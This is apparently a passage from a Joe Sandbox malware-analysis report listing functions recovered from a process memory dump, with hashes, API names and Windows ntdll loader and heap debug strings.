                                                                                                                                                                                                                                  • Opcode ID: 316737d4745e725fa9f709aa3a42a2df28db65ddd1ad12e11b9211f9a6063b3f
                                                                                                                                                                                                                                  • Instruction ID: e6db07304e9ac7a52201df183ae9d35181823c4a5472fa5a8255fc07c175c09c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 316737d4745e725fa9f709aa3a42a2df28db65ddd1ad12e11b9211f9a6063b3f
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B851D6BAE04157AEDB15DBAC88C097EF7B8BB08204B90C529F498D7645D334EF1487E2
                                                                                                                                                                                                                                  Function 1DFCFD82 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
                                                                                                                                                                                                                                  • API String ID: 3446177414-4227709934
                                                                                                                                                                                                                                  • Opcode ID: c71c97084d51821447a34eb2afbff5753491e756697893aa02172c381328e521
                                                                                                                                                                                                                                  • Instruction ID: 7758ae8ce21b53aecff51cafff467728ef8940a3cd42b0654c875548fcdb6387
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c71c97084d51821447a34eb2afbff5753491e756697893aa02172c381328e521
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 70418EB6E0121AABCB01DF9DC980EEEBBB5FF48314F154019E904A7352D7319E25CBA1
                                                                                                                                                                                                                                  Function 1DF7DB00 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
                                                                                                                                                                                                                                  • API String ID: 3446177414-3224558752
                                                                                                                                                                                                                                  • Opcode ID: 4e670bb5357e75bc447d3419500590bda1a094e3adbfde6acb0c7ff59cf25fec
                                                                                                                                                                                                                                  • Instruction ID: ac80dd24b8232ca0a154f8c20610a3d69c9200cb419370bbeed8ec75e0813dbe
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4e670bb5357e75bc447d3419500590bda1a094e3adbfde6acb0c7ff59cf25fec
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 42411432904685DFC702CB6CC994BAAB7A5FF04774F10816AD909576A1C776AB80C7A3
                                                                                                                                                                                                                                  Function 1DF7DBA0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
                                                                                                                                                                                                                                  • API String ID: 3446177414-1222099010
                                                                                                                                                                                                                                  • Opcode ID: 987e536ea254b03ed9ce9d8d43aaf5c780a3c6baa5e5229fecdfedf0922a4eaa
                                                                                                                                                                                                                                  • Instruction ID: 1f8d2ccb2edeb13ff6582ba8cb1e340b36a5026eadadfa0f3cf2e2d725888066
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 987e536ea254b03ed9ce9d8d43aaf5c780a3c6baa5e5229fecdfedf0922a4eaa
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 583105371046C4EFD712CB2CCD44BA97BE4EF01B60F558095E446476A2C7AAFB80C663
                                                                                                                                                                                                                                  Function 1DF9B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: __aulldvrm
                                                                                                                                                                                                                                  • String ID: +$-$0$0
                                                                                                                                                                                                                                  • API String ID: 1302938615-699404926
                                                                                                                                                                                                                                  • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                                                                                                                                                                                  • Instruction ID: e93e700d22fd85e41e21120f14c35ff4788a25b667b36b49d75bc53d51cdb28a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: AA81B030E0524E9AFB1DCE6CC8D07FEBBA1AF45710F948259F855A7290C631AA41CB63
                                                                                                                                                                                                                                  Function 1DF94960 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 82timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID: 0I8w$0I8w$0I8w$X
                                                                                                                                                                                                                                  • API String ID: 3446177414-113150377
                                                                                                                                                                                                                                  • Opcode ID: ebb3960e38c726396d68de7b38b4ec39b0346e4d203ea5592c5f4ac3887d142a
                                                                                                                                                                                                                                  • Instruction ID: 6ceb6805241d4e2c5dac7a9f23134f22c7270c558ded0341e79c12b9d1b1f359
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ebb3960e38c726396d68de7b38b4ec39b0346e4d203ea5592c5f4ac3887d142a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6B319135D0424BEBEF05CF58CA80B8D3BA1BB94B59F454129FD089A251D3349B60CF6A
                                                                                                                                                                                                                                  Function 1DF70BCB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  • Failed to allocated memory for shimmed module list, xrefs: 1DFBA10F
                                                                                                                                                                                                                                  • minkernel\ntdll\ldrinit.c, xrefs: 1DFBA121
                                                                                                                                                                                                                                  • LdrpCheckModule, xrefs: 1DFBA117
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                                                                                                                                                                                                                  • API String ID: 3446177414-161242083
                                                                                                                                                                                                                                  • Opcode ID: 50cc01538574a800c3e96e1094568e4fb9f0c83adcfb1fd258839de13b6b2599
                                                                                                                                                                                                                                  • Instruction ID: eb034d2a7575fc099b76661ce31c902acaa3b315c4402baa61676b7c1a5ff23f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 50cc01538574a800c3e96e1094568e4fb9f0c83adcfb1fd258839de13b6b2599
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E071BD79A00215DFDB09DF6CCA80AAEB7F4FF44604F15802EE945E7650E635AF41CB62
                                                                                                                                                                                                                                  Function 1DF8BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  • RTL: Resource at %p, xrefs: 1DFC7B8E
                                                                                                                                                                                                                                  • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 1DFC7B7F
                                                                                                                                                                                                                                  • RTL: Re-Waiting, xrefs: 1DFC7BAC
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                                                                                                                                                                                                  • API String ID: 0-871070163
                                                                                                                                                                                                                                  • Opcode ID: 30569674209570334f3ff312513327f707e91e7ccbafacb6e298e5d62f542f48
                                                                                                                                                                                                                                  • Instruction ID: 6b71642b156ab79f40e9504985bba27b42f365d54d5b7f2014aaad95590fa38f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 30569674209570334f3ff312513327f707e91e7ccbafacb6e298e5d62f542f48
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1641DE366047879FC711CE29C840F6AB7E5EF88711F100A1DE95A9B291DB31EA058BA3
                                                                                                                                                                                                                                  Function 1DFCEF40 Relevance: 6.2, APIs: 4, Instructions: 158timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3446177414-0
                                                                                                                                                                                                                                  • Opcode ID: bc6f9e2778f30c23c49bd168ae68dda591427219be431a2a3393592d8750d181
                                                                                                                                                                                                                                  • Instruction ID: 507d02ad4a5a861d6722acb15d3ca5893fbfb36945ffac47d475626c7a73148c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: bc6f9e2778f30c23c49bd168ae68dda591427219be431a2a3393592d8750d181
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5A515576E0221AAFDF08CF98C981BDDFBB1BF48310F15816AE805AB250D3359A51CF65
                                                                                                                                                                                                                                  Function 1DF87B2F Relevance: 6.1, APIs: 4, Instructions: 81timethreadCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes$BaseInitThreadThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4281723722-0
                                                                                                                                                                                                                                  • Opcode ID: 7ae58ec3042652d8b87ccbe876345d7f36b53bf15f113c2ee47c35e143b52635
                                                                                                                                                                                                                                  • Instruction ID: 71106402d6b3af659ad337641e01569c1900dd6b55cb81155f211d642804b7fd
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7ae58ec3042652d8b87ccbe876345d7f36b53bf15f113c2ee47c35e143b52635
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 79310775E00229DFCF15DFA8D984A9DBBF0BB48720F14412AE911B7290D735AE00CF55
                                                                                                                                                                                                                                  Function 1DF97D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: __aulldvrm
                                                                                                                                                                                                                                  • String ID: +$-
                                                                                                                                                                                                                                  • API String ID: 1302938615-2137968064
                                                                                                                                                                                                                                  • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                                                                                                                                                                                  • Instruction ID: 99f0ddf4a8c82c095d955326ddc828759c66294e0199b75c9baeffb8d0b16363
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1E91B371E003869AFF18DF6DC8816BEB7A1BF44724F20851AF955A72D4E7349B40C7A2
                                                                                                                                                                                                                                  Function 1DF4DF81 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebugPrintTimes
                                                                                                                                                                                                                                  • String ID: 0$0
                                                                                                                                                                                                                                  • API String ID: 3446177414-203156872
                                                                                                                                                                                                                                  • Opcode ID: 8bb951583bf64f545aa5d59227caba4ac4c8be6d3dd74a70a5dba8ce78f68a48
                                                                                                                                                                                                                                  • Instruction ID: e1206e50db8123c8b55649702de5e35089e8f09d65dd9d5643fccdfc5320be27
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8bb951583bf64f545aa5d59227caba4ac4c8be6d3dd74a70a5dba8ce78f68a48
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0B415EB26087469FC310CF2CC984A1ABBE4BF89714F14892EF588DB351D771EA05CB96